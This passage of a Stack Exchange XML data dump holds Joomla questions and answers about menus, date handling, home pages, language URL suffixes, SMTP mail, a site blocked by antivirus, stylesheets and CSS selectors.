described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find that you can quickly create this component, or something similar enough to it, using &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow&quot;&gt;https://www.component-creator.com&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-05-18T00:43:31.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16572" PostTypeId="2" ParentId="16527" CreationDate="2016-05-18T00:55:42.147" Score="4" Body="&lt;p&gt;The lft and rft code is quite old in Joomla, and only used in a sub-set of core functionality.  Basically it means...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lft: the item id of the item to the left&lt;/li&gt;&#xA;&lt;li&gt;rgt: the item id of the item to the right&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you add items to the table, you'll maybe find you need to &quot;rebuild&quot; the menu.  This is a button at the top of the menu manager that basically sets all the lft and rft values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're adding menu items programmatically, to the database,  you may need to &quot;rebuild&quot; them afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help35:Menus_Menu_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help35:Menus_Menu_Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ostraining.com/support-forum/joomla-support/how-to-rebuild-menu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/support-forum/joomla-support/how-to-rebuild-menu/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.itoctopus.com/the-rebuild-button-in-joomlas-menu-manager-page-a-double-edged-sword&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.itoctopus.com/the-rebuild-button-in-joomlas-menu-manager-page-a-double-edged-sword&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/9866694/how-to-invoke-menu-rebuild-from-the-custom-front-end-component-in-joomla&quot;&gt;https://stackoverflow.com/questions/9866694/how-to-invoke-menu-rebuild-from-the-custom-front-end-component-in-joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-18T00:55:42.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16574" PostTypeId="1" CreationDate="2016-05-18T09:05:53.250" Score="3" ViewCount="559" Body="&lt;p&gt;In my form I have selecting date with &lt;a href=&quot;http://xdsoft.net/jqplugins/datetimepicker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;datetimepicker&lt;/a&gt; which i'm using only date picker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the selected date value to do some calculation in php through ajax.&lt;br&gt;&#xA;Here is my code but the result shows date starting 01/01/1970 !!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function getmydateHTML() {&#xA;     $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;     $db = JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);         &#xA;     $dt = $jinput-&amp;gt;get ('dvalue');         &#xA;     $date = $jinput-&amp;gt;get ('selectedate');&#xA;     $sdt = strtotime($date);&#xA;     $newdate = strtotime(&quot;+$dt day&quot;, $sdt);&#xA;     echo   date('d/m/Y', $newdate);      &#xA;    exit;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get correct selected date value?&lt;/p&gt;&#xA;" OwnerUserId="7855" LastEditorUserId="126" LastEditDate="2017-07-17T10:30:28.323" LastActivityDate="2018-09-10T16:01:14.313" Title="Get date value with jinput" Tags="|php|ajax|rsform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16575" PostTypeId="1" CreationDate="2016-05-18T09:46:51.423" Score="2" ViewCount="724" Body="&lt;p&gt;I am working on a joomla website. I have to do some modification in home page. I check in menu the page which is assigned as home page. But that page is not found in articles section. I am not able to find out where that page is? Anybody please can tell me where I have to found apart from articles where I can find the home page. &#xA;I am new to joomla and I check everywhere about home page. But I am unable to found it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8423" LastActivityDate="2016-05-18T11:51:13.897" Title="Unable to find home page in joomla administrator" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16576" PostTypeId="2" ParentId="16575" CreationDate="2016-05-18T11:33:59.173" Score="1" Body="&lt;h1&gt;Joomla Home Page&lt;/h1&gt;&#xA;&lt;p&gt;A home page won't necessarily feature an article. There are plenty of options of what it can display.&lt;br /&gt;&#xA;There are so many options, same as the various menu items you have from all the components installed in your site.&lt;/p&gt;&#xA;&lt;p&gt;It can even be a home-page with no component content - consisting only from modules.&lt;/p&gt;&#xA;&lt;p&gt;We can't tell you what is the case with your site - it could be possible if you share a link to it -.&lt;/p&gt;&#xA;&lt;p&gt;In order to find out what's going on with your homepage, you have to examine your Home menu item (default menu item).&lt;/p&gt;&#xA;&lt;p&gt;What type of menu item it is (and of which component), and which content item/(s) is ordered to display.&lt;/p&gt;&#xA;&lt;h3&gt;Some example of homepage menu items:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It can be an articles -&amp;gt; single article menu. In this case, see which article it links to. You will be able to see the article title in the relative field, or the article id in the menu item's url field below: something like: &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=XXX&lt;/code&gt;, where XXX the article ID.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It can be an articles -&amp;gt; Featured Items. In this case, it will display a number of articles in a blog layout fashion, according to the settings defined in the menu item layout tab. Notice that it's a common practice for homepages to use a featured items menu item and set it to display 0 items. Then the home page, will only display any modules that are assigned to this menu item - see also number 4 below.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It can any other kind of menu item of another component. In this case you need to find which component, type of layout and items it is set to display from it's options. It may be needed to also review the necessary settings of that component. If it's for example a K2 categories menu item, then you might have to change settings in that Category in K2.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another case: Some templates provide an option to hide the component output for home-page and only display modules. See in your template's settings if it has a such feature.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For 2 and 4: In the case you are only outputting modules content in the homepage, you need to identify which modules are being used, and edit those.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-18T11:51:13.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16577" PostTypeId="2" ParentId="14926" CreationDate="2016-05-18T13:29:20.533" Score="2" Body="&lt;p&gt;I had the same issue. Found an answer here:&lt;br/&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/24417351/joomla-3-3-1-cant-edit-and-create-new-menus-in-menu-manager&quot;&gt;https://stackoverflow.com/questions/24417351/joomla-3-3-1-cant-edit-and-create-new-menus-in-menu-manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems after all, that the solution is just clearing your browser's cache.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-18T13:29:20.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16578" PostTypeId="1" AcceptedAnswerId="16579" CreationDate="2016-05-18T13:56:53.327" Score="1" ViewCount="374" Body="&lt;p&gt;A client is on my case because Norton won't let him (and apparently a few of his customers) see the site. The following report is produced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ekPB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ekPB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with Joomla expoits and have cleaned up many hacked sites. In this case, there's no indication of modified core or template files. Securi and Norton Safe Web both report that the site is clean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is at Bluehost. I'm using a RocketTheme template and I have a few common, well-supported extensions installed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JCE&lt;/li&gt;&#xA;&lt;li&gt;AcyMailing Starter&lt;/li&gt;&#xA;&lt;li&gt;Akeeba Backup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All extensions and the core are up to date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web searches have come up oddly fruitless. I'd have thought that this was a common problem (not a false positive, but similar reports due to actual malicious content) considering how often Joomla sites are actually hacked. Thanks for any assistance. &lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2016-05-18T14:31:40.560" LastActivityDate="2016-05-18T14:31:40.560" Title="Why is Norton blocking access to my site?" Tags="|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16579" PostTypeId="2" ParentId="16578" CreationDate="2016-05-18T14:12:34.443" Score="2" Body="&lt;p&gt;In my years of using Joomla I've never had any antivirus block a site so it's a new one to me.&lt;/p&gt;&#xA;&lt;p&gt;Here is a checklist of things to try:&lt;/p&gt;&#xA;&lt;h3&gt;Main:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ensure Joomla is up to date&lt;/li&gt;&#xA;&lt;li&gt;Ensure 3rd party extensions are up to date&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;code&gt;index.php&lt;/code&gt; for any odd looking code&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Local:&lt;/h3&gt;&#xA;&lt;p&gt;Test your site locally&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install a &lt;a href=&quot;http://uk.norton.com/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;Free Trial of Norton&lt;/a&gt; (&lt;em&gt;&amp;lt;&amp;lt; official Norton website&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of your website and install on your localhost&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Once done, check to see if Norton start throwing a hissy fit.&lt;/p&gt;&#xA;&lt;p&gt;If everything works fine on your localhost, then it could possibly be something to do with your hosting provider.&lt;/p&gt;&#xA;&lt;p&gt;If you have the same issue on your localhost as the live site, then run a scan on your entire Joomla site on your localhost and try installing some security extensions from the &lt;a href=&quot;http://extensions.joomla.org/tags/security-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;JED&lt;/a&gt; that could possibly give some insight.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-18T14:12:34.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16581" PostTypeId="1" CreationDate="2016-05-18T16:11:30.363" Score="0" ViewCount="627" Body="&lt;p&gt;I have a multilanguage Joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure my site so that when someone types any url, it will always bring them to: www.mysite.com ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, a suffix is always added to my site name. Thats okay for when languages are chosen, but I just don't want that for my default landing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following modification in htaccess. I think it's just looping back to my website with the suffix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^en/(.*)$ /$1 [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="12352" LastEditDate="2019-07-06T22:40:05.980" LastActivityDate="2019-07-06T22:40:05.980" Title="Default landing page without language suffix" Tags="|joomla-3.x|.htaccess-configuration|redirect|multilingual|multi-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16582" PostTypeId="2" ParentId="16531" CreationDate="2016-05-18T17:04:48.617" Score="0" Body="&lt;p&gt;finally i accomplished to customize this setting, editing the icon.php file from the layout for the content component placed in my template folder: xampp-root-folder\htdocs\joomla\templates\ilus-design\html\layouts\joomla\content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;web source: &lt;a href=&quot;https://www.ostraining.com/blog/joomla/layout-overrides/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/layout-overrides/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2016-05-18T17:04:48.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16583" PostTypeId="2" ParentId="16581" CreationDate="2016-05-18T17:53:14.430" Score="1" Body="&lt;p&gt;In Language Filter plugin, enable the &lt;strong&gt;Remove URL Language Code&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting will remove the language url code from the urls for the default content language of your website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-18T17:53:14.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16587" PostTypeId="1" AcceptedAnswerId="16631" CreationDate="2016-05-19T08:27:40.880" Score="3" ViewCount="542" Body="&lt;p&gt;I'm trying to use Joomla's Mass Mail function to test emails being sent from Joomla and a contact form plugin (Fox Contact). When trying to send an email using the Mass Mail form, Joomla shows the error &lt;code&gt;The following from address failed: noreply@mydomain.com&lt;/code&gt; (noreply@mydomain.com is the SMTP username and from address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed the SMTP details are correct in Site &gt; Global Configuration &gt; Server Configuration &gt; Mail Settings I have also tested the configuration using a telnet connection from the web server, which is able to send emails after authenticating using the username and password in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to enable SMTP debugging by editing &lt;code&gt;~/libraries/phpmailer/phpmailer.php&lt;/code&gt; and changing &lt;code&gt;$SMTPDebug&lt;/code&gt; from &lt;code&gt;false&lt;/code&gt; to 2. However this does not show any additional output (other than the above &lt;code&gt;address failed&lt;/code&gt; message).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the SMTP sending, or enable debugging to find the cause of the issue?&lt;/p&gt;&#xA;" OwnerUserId="7762" LastActivityDate="2016-05-26T21:58:39.093" Title="Joomla Mass Mails not working, SMTP settings ok" Tags="|joomla-2.5|emails|smtp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16588" PostTypeId="1" CreationDate="2016-05-19T11:18:15.783" Score="1" ViewCount="39" Body="&lt;p&gt;I have two profile plugin (core profile and newly created profile5), How can I load these two plugin with two diffrent user group. (For Register type user load core profile and for Editor load profile5).&lt;/p&gt;&#xA;" OwnerUserId="8433" LastActivityDate="2016-11-22T23:42:37.893" Title="Joomla3 Loading two diffrent plugin for two diffrent user group in their profile page" Tags="|joomla-3.x|plugin|user-groups|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16589" PostTypeId="1" CreationDate="2016-05-19T16:15:11.890" Score="0" ViewCount="595" Body="&lt;p&gt;I am using an extension called JTickets to manage payments in Jomsocial events, I would like to change a fields default selection from limited seats to unlimited seats, code is as follows:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$unlimited_seats_options[] = JHtml::_('select.option', 1, JText::_('COM_JTICKETING_UNLIMITED_SEATS_YES'));&#xA;$unlimited_seats_options[] = JHtml::_('select.option', 0, JText::_('COM_JTICKETING_UNLIMITED_SEATS_NO'));&#xA;&#xA;&#xA;      &amp;lt;!--ticket_type_unlimited Seats--&amp;gt;&#xA;       &amp;lt;div class=&quot;form-group  jticketing-form-group&quot; &amp;gt;&#xA;          &amp;lt;div class=&quot;jticketing-controls col-lg-10 col-md-10 col-sm-9 col-xs-12 col-lg-offset-2 col-md-offset-2 col-sm-offset-3 jt-input-text&quot;&amp;gt;&#xA;             &amp;lt;div class=&quot;&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                   if ($tickettype-&amp;gt;unlimited_seats)&#xA;                   {&#xA;                       $avalaible_class=&quot;ticket_type_available_field_hide&quot;;&#xA;&#xA;                    echo JHtml::_('select.genericlist', $unlimited_seats_options, &quot;ticket_type_unlimited_seats[]&quot;, 'class=&quot;chzn-done jticket_access&quot; onchange=&quot;togglefield(this,\'ticket_type_available_field\')&quot; data-chosen=&quot;com_jticketing&quot;', &quot;value&quot;, &quot;text&quot;, $tickettype-&amp;gt;unlimited_seats,&quot;ticket_type_unlimited_seats_&quot;.$j);&#xA;                   }&#xA;                   else&#xA;                   {&#xA;                        $avalaible_class=&quot;&quot;;&#xA;                        echo JHtml::_('select.genericlist', $unlimited_seats_options, &quot;ticket_type_unlimited_seats[]&quot;, 'class=&quot;chzn-done jticket_access&quot; onchange=&quot;togglefield(this,\'ticket_type_available_field\')&quot; data-chosen=&quot;com_jticketing&quot;', &quot;value&quot;, &quot;text&quot;,0,&quot;ticket_type_unlimited_seats_&quot;.$j);&#xA;&#xA;                   }&#xA;                   ?&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;       &amp;lt;!--ticket_type_unlimited Seats DIV ENDS--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;currently drop down menu is set to limited seat, i would like to set default value to unlimited seats&lt;/p&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="126" LastEditDate="2017-07-17T10:29:47.620" LastActivityDate="2017-08-16T15:19:45.003" Title="Change default selection on drop down menu" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16590" PostTypeId="1" CreationDate="2016-05-19T16:24:04.400" Score="0" ViewCount="353" Body="&lt;p&gt;When I try to create the Home item for the menu on the Home-Page of my site, it isn't possible. I receive this warning message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Save failed with the following error: Another menu item has the same alias in Root (remember it may be a trashed item). Root is the top level parent.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hll8i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hll8i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 more items registered in that menu (with linked single articles), and these two items are displayed correctly in the front-page of my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED:&lt;/strong&gt; It's only possible to register one unique Home item menu (with unique item alias at current level) for all the set of the items registered at that moment in out Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://books.google.es/books?id=tsfYKoWX1ncC&amp;amp;pg=PA82&amp;amp;lpg=PA82&amp;amp;dq=unique+name+item+menu+joomla&amp;amp;source=bl&amp;amp;ots=xBsdV52aMv&amp;amp;sig=rsVhgcwwMfQuHJ3viPcoKxKPe7I&amp;amp;hl=es&amp;amp;sa=X&amp;amp;ved=0ahUKEwipvKrSs-jMAhXDMBoKHZBxBnsQ6AEIQDAF#v=onepage&amp;amp;q=unique%20name%20item%20menu%20joomla&amp;amp;f=false&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://books.google.es/books?id=tsfYKoWX1ncC&amp;amp;pg=PA82&amp;amp;lpg=PA82&amp;amp;dq=unique+name+item+menu+joomla&amp;amp;source=bl&amp;amp;ots=xBsdV52aMv&amp;amp;sig=rsVhgcwwMfQuHJ3viPcoKxKPe7I&amp;amp;hl=es&amp;amp;sa=X&amp;amp;ved=0ahUKEwipvKrSs-jMAhXDMBoKHZBxBnsQ6AEIQDAF#v=onepage&amp;amp;q=unique%20name%20item%20menu%20joomla&amp;amp;f=false&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Book &quot;Using Joomla: Building Powerful and Efficient Web Sites&quot;, Menu Item Manager, page 83&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="115" LastEditDate="2016-05-23T00:32:09.360" LastActivityDate="2017-09-17T01:58:04.203" Title="Item Menu can't be registered in Home Page" Tags="|menu-item|joomla-3.5|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16591" PostTypeId="2" ParentId="16570" CreationDate="2016-05-19T16:33:13.233" Score="2" Body="&lt;p&gt;Glad you like it. If you just need the value, then use the field model as you can see here &lt;a href=&quot;https://github.com/Digital-Peak/DPFields/blob/master/com_dpfields/admin/helpers/dpfields.php#L137&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Digital-Peak/DPFields/blob/master/com_dpfields/admin/helpers/dpfields.php#L137&lt;/a&gt;. Keep in mind that the value is then not prepared. If the onContentPrepare event is fired on the article, then the fields are already attached to the item(article).&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2016-05-19T16:33:13.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16593" PostTypeId="2" ParentId="16590" CreationDate="2016-05-19T17:10:04.020" Score="1" Body="&lt;p&gt;check all of your menu items alias' make sure none of them share the same name as your home page, look in trash too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla wont let you have two menu items with the same name at root level&lt;/p&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="1582" LastEditDate="2016-05-19T18:36:26.353" LastActivityDate="2016-05-19T18:36:26.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16595" PostTypeId="1" CreationDate="2016-05-19T19:33:49.400" Score="2" ViewCount="402" Body="&lt;p&gt;Im struggling to include the following stylesheets in my template. Which file do i need to load them in?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $doc =&amp;amp; JFactory::getDocument();&#xA;    $doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/templates/gk_simplicity/css/social.css');&#xA;    $doc-&amp;gt;addStyleSheet( '//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.0.3/css/font-awesome.min.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that no matter where i add the code, neither are showing as loading in the &amp;lt; head &gt; tag when i inspect the source, the font-awesome icons aren't rendering correctly either? I have implemented the code fine manually on a subdomain, so i know i do not need to include any additional files, other than those mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&#xA;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2016-05-19T19:44:49.403" LastActivityDate="2016-05-20T19:06:40.860" Title="Where to include additional stylesheets in my template?" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16596" PostTypeId="2" ParentId="16595" CreationDate="2016-05-19T20:25:36.353" Score="4" Body="&lt;p&gt;If you want to add it directly to your template's index file you might be better off using the &lt;code&gt;JHtml::stylesheet&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   JHtml::_('stylesheet', JUri::base() . 'templates/gk_simplicity/css/sample.css', true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you have there is intended to be used inside template functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2016-05-19T21:28:48.727" LastActivityDate="2016-05-19T21:28:48.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16598" PostTypeId="2" ParentId="16494" CreationDate="2016-05-19T20:46:19.337" Score="1" Body="&lt;p&gt;Had similar problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be one of the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• A component or extension is using too much of the cache and sending the system into overload&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to identify this clear the cache and disable any extensions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• The menu items need rebuilding if you are getting 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to menus on backend, select all and then click rebuild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8436" LastActivityDate="2016-05-19T20:46:19.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16600" PostTypeId="2" ParentId="15437" CreationDate="2016-05-20T06:28:31.470" Score="0" Body="&lt;p&gt;Perhaps you should have a look on &lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow&quot;&gt;DPFields&lt;/a&gt; which can easily be integrated into your component. It does all the work for you.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2016-05-20T06:28:31.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16601" PostTypeId="1" CreationDate="2016-05-20T08:16:21.540" Score="0" ViewCount="734" Body="&lt;p&gt;What is the best Joomla Search extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using ZOO franework and have a multilanguage site. So we need an extension that will be able to search trough different extensions and have the multilanguage possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Smart Search from Joomla, but i was able to find articles from other languages at english site. Thats actually not so bad, but then for some reason the url language suffix was not generated right. Is there a solution for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2016-05-20T19:56:14.463" Title="Whats the best Joomla Search" Tags="|joomla-3.x|smartsearch|zoo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16602" PostTypeId="1" AcceptedAnswerId="16614" CreationDate="2016-05-20T10:29:56.080" Score="0" ViewCount="53" Body="&lt;p&gt;I have a list of prices which automatically increment the class, for example the first one is called '.hikashop_product_price_0' and all others are then _1, _2 etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to hide all of the prices apart from the first one, I've tried something like the following but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.hikashop_product_price.hikashop_product_price_* {display: none;}&#xA;.hikashop_product_price.hikashop_product_price_0 {display: block;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The HTML Markup looks something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;hikashop_product_price_full hikashop_product_several_prices&quot;&amp;gt;&#xA;    &amp;lt;span content=&quot;33.96&quot; itemprop=&quot;price&quot; class=&quot;hikashop_product_price hikashop_product_price_0&quot;&amp;gt;£ 28.30&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hikashop_product_price_per_unit&quot;&amp;gt; each&amp;lt;/span&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;    &amp;lt;span content=&quot;43.188&quot; itemprop=&quot;price&quot; class=&quot;hikashop_product_price hikashop_product_price_1&quot;&amp;gt;£ 35.99&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hikashop_product_price_per_unit&quot;&amp;gt; each&amp;lt;/span&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;    &amp;lt;span content=&quot;41.316&quot; itemprop=&quot;price&quot; class=&quot;hikashop_product_price hikashop_product_price_2&quot;&amp;gt;£ 34.43&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hikashop_product_price_per_unit&quot;&amp;gt; each&amp;lt;/span&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;    &amp;lt;span content=&quot;52.068&quot; itemprop=&quot;price&quot; class=&quot;hikashop_product_price hikashop_product_price_3&quot;&amp;gt;£ 43.39&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hikashop_product_price_per_unit&quot;&amp;gt; each&amp;lt;/span&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;    &amp;lt;span content=&quot;49.956&quot; itemprop=&quot;price&quot; class=&quot;hikashop_product_price hikashop_product_price_4&quot;&amp;gt;£ 41.63&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;hikashop_product_price_per_unit&quot;&amp;gt; each&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2016-05-20T11:39:05.180" LastActivityDate="2016-05-25T14:17:14.913" Title="Target numbered classes with *" Tags="|joomla-3.x|css|hikashop|" AnswerCount="1" CommentCount="7" ContentLicense="CC 